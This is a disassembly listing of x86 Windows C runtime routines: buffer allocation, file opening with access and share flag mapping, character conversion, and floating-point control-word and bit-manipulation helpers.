======================================= sub_423936 proc near ; DATA XREF: ___:00429024o mov eax, dword_4DC5A0 push esi push 14h test eax, eax pop esi jnz short loc_42394A mov eax, 200h jmp short loc_423950 ; --------------------------------------------------------------------------- loc_42394A: ; CODE XREF: sub_423936+Bj cmp eax, esi jge short loc_423955 mov eax, esi loc_423950: ; CODE XREF: sub_423936+12j mov dword_4DC5A0, eax loc_423955: ; CODE XREF: sub_423936+16j push 4 push eax call sub_424E01 pop ecx mov dword_4DB598, eax test eax, eax pop ecx jnz short loc_423989 push 4 push esi mov dword_4DC5A0, esi call sub_424E01 pop ecx mov dword_4DB598, eax test eax, eax pop ecx jnz short loc_423989 push 1Ah call sub_41DA29 pop ecx loc_423989: ; CODE XREF: sub_423936+30j ; sub_423936+49j xor ecx, ecx mov eax, offset off_43C9E8 loc_423990: ; CODE XREF: sub_423936+6Ej mov edx, dword_4DB598 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43CC68 jl short loc_423990 xor edx, edx mov ecx, offset dword_43C9F8 loc_4239AD: ; CODE XREF: sub_423936+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DC5C0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4239CA test eax, eax jnz short loc_4239CD loc_4239CA: ; CODE XREF: sub_423936+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4239CD: ; CODE XREF: sub_423936+92j add ecx, 20h inc edx cmp ecx, offset dword_43CA58 jl short loc_4239AD pop esi retn sub_423936 endp ; =============== S U B R O U T I N E ======================================= sub_4239DB proc near ; DATA XREF: ___:00429034o ; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES call sub_41DBE7 cmp byte_4DB2B8, 0 jz short locret_4239EE jmp loc_424EB2 ; --------------------------------------------------------------------------- locret_4239EE: ; CODE XREF: sub_4239DB+Cj retn sub_4239DB endp ; =============== S U B R O U T I N E ======================================= sub_4239EF proc near ; CODE XREF: sub_41F043+32p ; sub_41F58A+6Cp ... arg_0 = dword ptr 4 inc dword_4DB460 push 1000h call sub_41B4D5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_423A18 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_423A29 ; --------------------------------------------------------------------------- loc_423A18: ; CODE XREF: sub_4239EF+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_423A29: ; CODE XREF: sub_4239EF+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4239EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_423A59 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_423A64 ; --------------------------------------------------------------------------- loc_423A59: ; CODE XREF: sub_423A33+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_423A64: ; CODE XREF: sub_423A33+24j mov eax, 8000h test ecx, eax jnz short loc_423A7E test ch, 40h jnz short loc_423A7A cmp dword_4DB570, eax jz short loc_423A7E loc_423A7A: ; CODE XREF: sub_423A33+3Dj or [ebp+var_1], 80h loc_423A7E: ; CODE XREF: sub_423A33+38j ; sub_423A33+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_423AB6 dec eax jz short loc_423AAD dec eax jz short loc_423AA4 loc_423A8F: ; CODE XREF: sub_423A33+9Fj ; sub_423A33+E8j ... mov dword_4DB278, 16h mov dword_4DB27C, ebx jmp loc_423CC9 ; --------------------------------------------------------------------------- loc_423AA4: ; CODE XREF: sub_423A33+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AAD: ; CODE XREF: sub_423A33+57j mov [ebp+var_C], 40000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AB6: ; CODE XREF: sub_423A33+54j mov [ebp+var_C], 80000000h loc_423ABD: ; CODE XREF: sub_423A33+78j ; sub_423A33+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_423AEB cmp eax, 20h jz short loc_423AE2 cmp eax, 30h jz short loc_423AD9 cmp eax, 40h jnz short loc_423A8F mov [ebp+var_10], esi jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AD9: ; CODE XREF: sub_423A33+9Aj mov [ebp+var_10], 2 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AE2: ; CODE XREF: sub_423A33+95j mov [ebp+var_10], 1 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AEB: ; CODE XREF: sub_423A33+90j mov [ebp+var_10], ebx loc_423AEE: ; CODE XREF: sub_423A33+A4j ; sub_423A33+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_423B38 jz short loc_423B33 cmp ecx, ebx jz short loc_423B33 cmp ecx, edi jz short loc_423B2A cmp ecx, 200h jz short loc_423B51 cmp ecx, 300h jnz loc_423A8F mov [ebp+var_8], 2 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B2A: ; CODE XREF: sub_423A33+D8j mov [ebp+var_8], 4 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B33: ; CODE XREF: sub_423A33+D0j ; sub_423A33+D4j mov [ebp+var_8], esi jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B38: ; CODE XREF: sub_423A33+CEj cmp ecx, 500h jz short loc_423B5A cmp ecx, 600h jz short loc_423B51 cmp ecx, edx jz short loc_423B5A jmp loc_423A8F ; --------------------------------------------------------------------------- loc_423B51: ; CODE XREF: sub_423A33+E0j ; sub_423A33+113j mov [ebp+var_8], 5 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B5A: ; CODE XREF: sub_423A33+10Bj ; sub_423A33+117j mov [ebp+var_8], 1 loc_423B61: ; CODE XREF: sub_423A33+F5j ; sub_423A33+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_423B80 mov ecx, dword_4DB280 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_423B80 push 1 pop esi loc_423B80: ; CODE XREF: sub_423A33+138j ; sub_423A33+148j test al, 40h jz short loc_423B8E or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_423B8E: ; CODE XREF: sub_423A33+14Fj test ah, 10h jz short loc_423B95 or esi, edi loc_423B95: ; CODE XREF: sub_423A33+15Ej test al, 20h jz short loc_423BA1 or esi, 8000000h jmp short loc_423BAB ; --------------------------------------------------------------------------- loc_423BA1: ; CODE XREF: sub_423A33+164j test al, 10h jz short loc_423BAB or esi, 10000000h loc_423BAB: ; CODE XREF: sub_423A33+16Cj ; sub_423A33+170j call sub_42371C mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_423BCC and dword_4DB27C, 0 mov dword_4DB278, 18h jmp short loc_423C0A ; --------------------------------------------------------------------------- loc_423BCC: ; CODE XREF: sub_423A33+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call near ptr 2710A4Eh nop mov esi, eax cmp esi, edi jz short loc_423BFD push esi nop call near ptr 26302A7h test eax, eax jnz short loc_423C11 push esi call near ptr 26708E6h nop loc_423BFD: ; CODE XREF: sub_423A33+1B6j call near ptr 2690CE2h nop push eax call sub_4203DF pop ecx loc_423C0A: ; CODE XREF: sub_423A33+197j mov eax, edi jmp loc_423CE7 ; --------------------------------------------------------------------------- loc_423C11: ; CODE XREF: sub_423A33+1C1j cmp eax, 2 jnz short loc_423C1C or [ebp+var_1], 40h jmp short loc_423C25 ; --------------------------------------------------------------------------- loc_423C1C: ; CODE XREF: sub_423A33+1E1j cmp eax, 3 jnz short loc_423C25 or [ebp+var_1], 8 loc_423C25: ; CODE XREF: sub_423A33+1E7j ; sub_423A33+1ECj push esi push ebx call sub_4237B1 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_423CCE test al, 80h jz short loc_423CCE test byte ptr [ebp+arg_4], 2 jz short loc_423CCE push 2 push 0FFFFFFFFh push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_423C83 cmp dword_4DB27C, 83h jz short loc_423CCE jmp short loc_423CC2 ; --------------------------------------------------------------------------- loc_423C83: ; CODE XREF: sub_423A33+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F11C add esp, 0Ch test eax, eax jnz short loc_423CB0 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_423CB0 push [ebp+var_10] push ebx call sub_424F0A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_423CC2 loc_423CB0: ; CODE XREF: sub_423A33+265j ; sub_423A33+26Bj push 0 push 0 push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_423CCE loc_423CC2: ; CODE XREF: sub_423A33+24Ej ; sub_423A33+27Bj push ebx call sub_41DA72 pop ecx loc_423CC9: ; CODE XREF: sub_423A33+6Cj or eax, 0FFFFFFFFh jmp short loc_423CE7 ; --------------------------------------------------------------------------- loc_423CCE: ; CODE XREF: sub_423A33+221j ; sub_423A33+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_423CE5 test byte ptr [ebp+arg_4], 8 jz short loc_423CE5 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_423CE5: ; CODE XREF: sub_423A33+29Fj ; sub_423A33+2A5j mov eax, ebx loc_423CE7: ; CODE XREF: sub_423A33+1D9j ; sub_423A33+299j pop edi pop esi pop ebx leave retn sub_423A33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep ; sub_4200E8+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C50 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB468 xor ebx, ebx cmp eax, ebx jnz short loc_423D5B lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi nop call near ptr 26104B5h test eax, eax jz short loc_423D39 mov eax, esi jmp short loc_423D56 ; --------------------------------------------------------------------------- loc_423D39: ; CODE XREF: sub_423CEC+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE2C push esi push ebx nop call near ptr 2620000h test eax, eax jz loc_423E21 push 2 pop eax loc_423D56: ; CODE XREF: sub_423CEC+4Bj mov dword_4DB468, eax loc_423D5B: ; CODE XREF: sub_423CEC+2Fj cmp eax, 2 jnz short loc_423D84 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_423D6C mov eax, dword_4DB334 loc_423D6C: ; CODE XREF: sub_423CEC+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax nop call near ptr 2620000h jmp loc_423E23 ; --------------------------------------------------------------------------- loc_423D84: ; CODE XREF: sub_423CEC+72j cmp eax, 1 jnz loc_423E21 cmp [ebp+arg_10], ebx jnz short loc_423D9A mov eax, dword_4DB344 mov [ebp+arg_10], eax loc_423D9A: ; CODE XREF: sub_423CEC+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] nop call near ptr 2830000h mov [ebp+var_20], eax cmp eax, ebx jz short loc_423E21 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41B590 add esp, 0Ch jmp short loc_423DF0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_423DF0: ; CODE XREF: sub_423CEC+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_423E21 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call near ptr 2830000h nop cmp eax, ebx jz short loc_423E21 push [ebp+arg_C] push eax push esi push [ebp+arg_0] nop call near ptr 26104B5h jmp short loc_423E23 ; --------------------------------------------------------------------------- loc_423E21: ; CODE XREF: sub_423CEC+61j ; sub_423CEC+9Bj ... xor eax, eax loc_423E23: ; CODE XREF: sub_423CEC+93j ; sub_423CEC+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_423CEC endp ; =============== S U B R O U T I N E ======================================= sub_423E35 proc near ; CODE XREF: sub_41F58A+61p ; sub_420446+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jb short loc_423E44 xor eax, eax retn ; --------------------------------------------------------------------------- loc_423E44: ; CODE XREF: sub_423E35+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_423E35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p ; sub_41F69F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_423E67 pop ebp retn ; --------------------------------------------------------------------------- loc_423E67: ; CODE XREF: sub_423E5B+8j cmp dword_4DB334, 0 jnz short loc_423E82 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_423EB4 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_423E82: ; CODE XREF: sub_423E5B+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43C504 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DB344 nop call near ptr 2821017h test eax, eax jz short loc_423EB4 cmp [ebp+arg_0], 0 jz short loc_423EC1 loc_423EB4: ; CODE XREF: sub_423E5B+1Ej ; sub_423E5B+51j mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh loc_423EC1: ; CODE XREF: sub_423E5B+57j pop ebp retn sub_423E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_423EE6 cmp [ebp+arg_8], ebx jz short loc_423EE6 mov al, [esi] cmp al, bl jnz short loc_423EEC mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_423EE6 mov [eax], bx loc_423EE6: ; CODE XREF: sub_423EC3+Cj ; sub_423EC3+11j ... xor eax, eax loc_423EE8: ; CODE XREF: sub_423EC3+42j ; sub_423EC3+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_423EEC: ; CODE XREF: sub_423EC3+17j cmp dword_4DB334, ebx jnz short loc_423F07 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_423F02 movzx ax, al mov [ecx], ax loc_423F02: ; CODE XREF: sub_423EC3+36j ; sub_423EC3+C0j push 1 pop eax jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F07: ; CODE XREF: sub_423EC3+2Fj mov ecx, off_43C2F8 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_423F64 mov eax, dword_43C504 cmp eax, 1 jle short loc_423F4B cmp [ebp+arg_8], eax jl short loc_423F55 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DB344 call near ptr 2830000h nop test eax, eax mov eax, dword_43C504 jnz short loc_423EE8 loc_423F4B: ; CODE XREF: sub_423EC3+5Cj cmp [ebp+arg_8], eax jb short loc_423F55 cmp [esi+1], bl jnz short loc_423EE8 loc_423F55: ; CODE XREF: sub_423EC3+61j ; sub_423EC3+8Bj ... mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F64: ; CODE XREF: sub_423EC3+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DB344 nop call near ptr 2830000h test eax, eax jnz loc_423F02 jmp short loc_423F55 sub_423EC3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423F90 proc near ; CODE XREF: sub_420510+797p ; sub_420510+7E7p cmp cl, 40h jnb short loc_423FAA cmp cl, 20h jnb short loc_423FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_423F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_423FAA: ; CODE XREF: sub_423F90+3j xor eax, eax xor edx, edx retn sub_423F90 endp ; =============== S U B R O U T I N E ======================================= sub_423FAF proc near ; CODE XREF: sub_420F86+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_423FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_423FCD test al, 80h jz short loc_423FFB test al, 2 jnz short loc_423FFB loc_423FCD: ; CODE XREF: sub_423FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_423FDA push esi call sub_4239EF pop ecx loc_423FDA: ; CODE XREF: sub_423FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_423FEA cmp dword ptr [esi+4], 0 jnz short loc_423FFB inc eax mov [esi], eax loc_423FEA: ; CODE XREF: sub_423FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_424001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424007 inc eax mov [esi], eax loc_423FFB: ; CODE XREF: sub_423FAF+9j ; sub_423FAF+18j ... or eax, 0FFFFFFFFh loc_423FFE: ; CODE XREF: sub_423FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424007: ; CODE XREF: sub_423FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_423FFE sub_423FAF endp ; =============== S U B R O U T I N E ======================================= sub_42401D proc near ; CODE XREF: sub_421576+52p xor eax, eax retn sub_42401D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424020 proc near ; CODE XREF: sub_424055+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42406B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_4240FD pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424020 endp ; =============== S U B R O U T I N E ======================================= sub_424055 proc near ; CODE XREF: sub_421862+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424020 pop ecx pop ecx retn sub_424055 endp ; =============== S U B R O U T I N E ======================================= sub_42406B proc near ; CODE XREF: sub_424020+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42407C push 10h pop eax loc_42407C: ; CODE XREF: sub_42406B+Cj test bl, 4 jz short loc_424083 or al, 8 loc_424083: ; CODE XREF: sub_42406B+14j test bl, 8 jz short loc_42408A or al, 4 loc_42408A: ; CODE XREF: sub_42406B+1Bj test bl, 10h jz short loc_424091 or al, 2 loc_424091: ; CODE XREF: sub_42406B+22j test bl, 20h jz short loc_424098 or al, 1 loc_424098: ; CODE XREF: sub_42406B+29j test bl, 2 jz short loc_4240A2 or eax, 80000h loc_4240A2: ; CODE XREF: sub_42406B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4240DA cmp edx, 400h jz short loc_4240D7 cmp edx, 800h jz short loc_4240D3 cmp edx, esi jnz short loc_4240DA or eax, edi jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D3: ; CODE XREF: sub_42406B+5Ej or eax, ebp jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D7: ; CODE XREF: sub_42406B+56j or ah, 1 loc_4240DA: ; CODE XREF: sub_42406B+4Ej ; sub_42406B+62j ... and ecx, edi pop esi jz short loc_4240EA cmp ecx, ebp jnz short loc_4240EF or eax, 10000h jmp short loc_4240EF ; --------------------------------------------------------------------------- loc_4240EA: ; CODE XREF: sub_42406B+72j or eax, 20000h loc_4240EF: ; CODE XREF: sub_42406B+76j ; sub_42406B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_4240FC or eax, 40000h locret_4240FC: ; CODE XREF: sub_42406B+8Aj retn sub_42406B endp ; =============== S U B R O U T I N E ======================================= sub_4240FD proc near ; CODE XREF: sub_424020+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42410D push 1 pop eax loc_42410D: ; CODE XREF: sub_4240FD+Bj test bl, 8 jz short loc_424114 or al, 4 loc_424114: ; CODE XREF: sub_4240FD+13j test bl, 4 jz short loc_42411B or al, 8 loc_42411B: ; CODE XREF: sub_4240FD+1Aj test bl, 2 jz short loc_424122 or al, 10h loc_424122: ; CODE XREF: sub_4240FD+21j test bl, 1 jz short loc_424129 or al, 20h loc_424129: ; CODE XREF: sub_4240FD+28j test ebx, 80000h jz short loc_424133 or al, 2 loc_424133: ; CODE XREF: sub_4240FD+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424160 cmp ecx, 100h jz short loc_42415D cmp ecx, esi jz short loc_424158 cmp ecx, edx jnz short loc_424160 or ah, 0Ch jmp short loc_424160 ; --------------------------------------------------------------------------- loc_424158: ; CODE XREF: sub_4240FD+50j or ah, 8 jmp short loc_424160 ; --------------------------------------------------------------------------- loc_42415D: ; CODE XREF: sub_4240FD+4Cj or ah, 4 loc_424160: ; CODE XREF: sub_4240FD+44j ; sub_4240FD+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424176 cmp ecx, 10000h jnz short loc_424178 or eax, esi jmp short loc_424178 ; --------------------------------------------------------------------------- loc_424176: ; CODE XREF: sub_4240FD+6Bj or eax, edx loc_424178: ; CODE XREF: sub_4240FD+73j ; sub_4240FD+77j pop esi test ebx, 40000h pop ebx jz short locret_424185 or ah, 10h locret_424185: ; CODE XREF: sub_4240FD+83j retn sub_4240FD endp ; =============== S U B R O U T I N E ======================================= sub_424186 proc near ; CODE XREF: sub_424225+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4241CB inc esi cmp esi, 3 jge short loc_4241C6 lea eax, [eax+esi*4] loc_4241B8: ; CODE XREF: sub_424186+3Ej cmp dword ptr [eax], 0 jnz short loc_4241CB inc esi add eax, 4 cmp esi, 3 jl short loc_4241B8 loc_4241C6: ; CODE XREF: sub_424186+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4241CB: ; CODE XREF: sub_424186+27j ; sub_424186+35j xor eax, eax pop esi retn sub_424186 endp ; =============== S U B R O U T I N E ======================================= sub_4241CF proc near ; CODE XREF: sub_424225+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi js short loc_424221 lea edi, [ebx+esi*4] loc_424208: ; CODE XREF: sub_4241CF+50j test eax, eax jz short loc_424221 push edi push 1 push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424208 loc_424221: ; CODE XREF: sub_4241CF+34j ; sub_4241CF+3Bj pop edi pop esi pop ebx retn sub_4241CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424225 proc near ; CODE XREF: sub_424380+81p ; sub_424380+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424289 inc ebx push ebx push [ebp+arg_0] call sub_424186 pop ecx test eax, eax pop ecx jnz short loc_424286 push edi push [ebp+arg_0] call sub_4241CF pop ecx mov [ebp+var_4], eax pop ecx loc_424286: ; CODE XREF: sub_424225+51j mov eax, [ebp+arg_4] loc_424289: ; CODE XREF: sub_424225+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4242A9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4242A9: ; CODE XREF: sub_424225+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424225 endp ; =============== S U B R O U T I N E ======================================= sub_4242B1 proc near ; CODE XREF: sub_424380+75p ; sub_424380+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_4242BF: ; CODE XREF: sub_4242B1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_4242BF pop esi retn sub_4242B1 endp ; =============== S U B R O U T I N E ======================================= sub_4242CC proc near ; CODE XREF: sub_424380+5Fp ; sub_424380+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_4242CC endp ; =============== S U B R O U T I N E ======================================= sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_4242DE: ; CODE XREF: sub_4242D8+12j cmp dword ptr [eax], 0 jnz short loc_4242F0 inc ecx add eax, 4 cmp ecx, 3 jl short loc_4242DE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4242F0: ; CODE XREF: sub_4242D8+9j xor eax, eax retn sub_4242D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4242F3 proc near ; CODE XREF: sub_424380+C0p ; sub_424380+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424329: ; CODE XREF: sub_4242F3+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] 